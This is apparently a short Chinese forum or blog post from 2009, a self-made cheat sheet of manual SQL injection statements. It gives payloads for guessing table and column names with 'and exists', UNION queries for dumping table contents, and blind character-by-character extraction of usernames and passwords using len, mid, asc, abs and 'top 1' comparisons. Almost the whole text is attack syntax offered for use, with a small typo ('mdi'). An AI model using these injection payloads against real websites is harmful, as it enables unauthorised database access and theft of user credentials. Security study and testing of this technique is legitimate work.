手工注入猜解语句

发表于:2009-06-30来源:作者:点击数: 标签:解语句手工
自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧! 猜解表名: and exists (select * from 表名) 猜解列名: and exists (select 字段 from 表名) UNION法: 联合查询: select name,password,id from user union select user,pwd,u
自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧!

  猜解表名:

and exists (select * from 表名)

  猜解列名:

and exists (select 字段 from 表名)

  UNION法:

  联合查询:

select name,password,id from user union select user,pwd,uid from

  爆指定表名内容:

and 1=1 union select 1,2,3,4,5 from 表名

  ASCII逐字解码法:

  1、猜解列长度

  猜解语句:

and (select top 1 len(列名)from 表名)>N and (select top 1 len(列名)from 表名)=N
  其中N是数字,变换这个N的值猜解列长度,例如:

and (select top 1 len(列名)from 表名)>1 and (select top 1 len(列名)from 表名)>6

  如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:

  select top 1 len(列名) from 表名

  where 列名 not in (select top 1 列名 from 表名)

  2、ASCII码分析法猜解用户和密码

  ASC()函数和Mid函数

  例如:mid(列名,N,1)

  ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码

  猜解语句为:

  and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)

  区间判断语句:

  “......between......and......”

  中文处理法:

  当ASCII转换后为“负数”使用abs()函数取绝对值。

  例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)

  ASCII逐字解码法的应用:

  1、猜解表名:

and (select count(*) from admin)<>0

 

原文转自:http://www.ltesting.net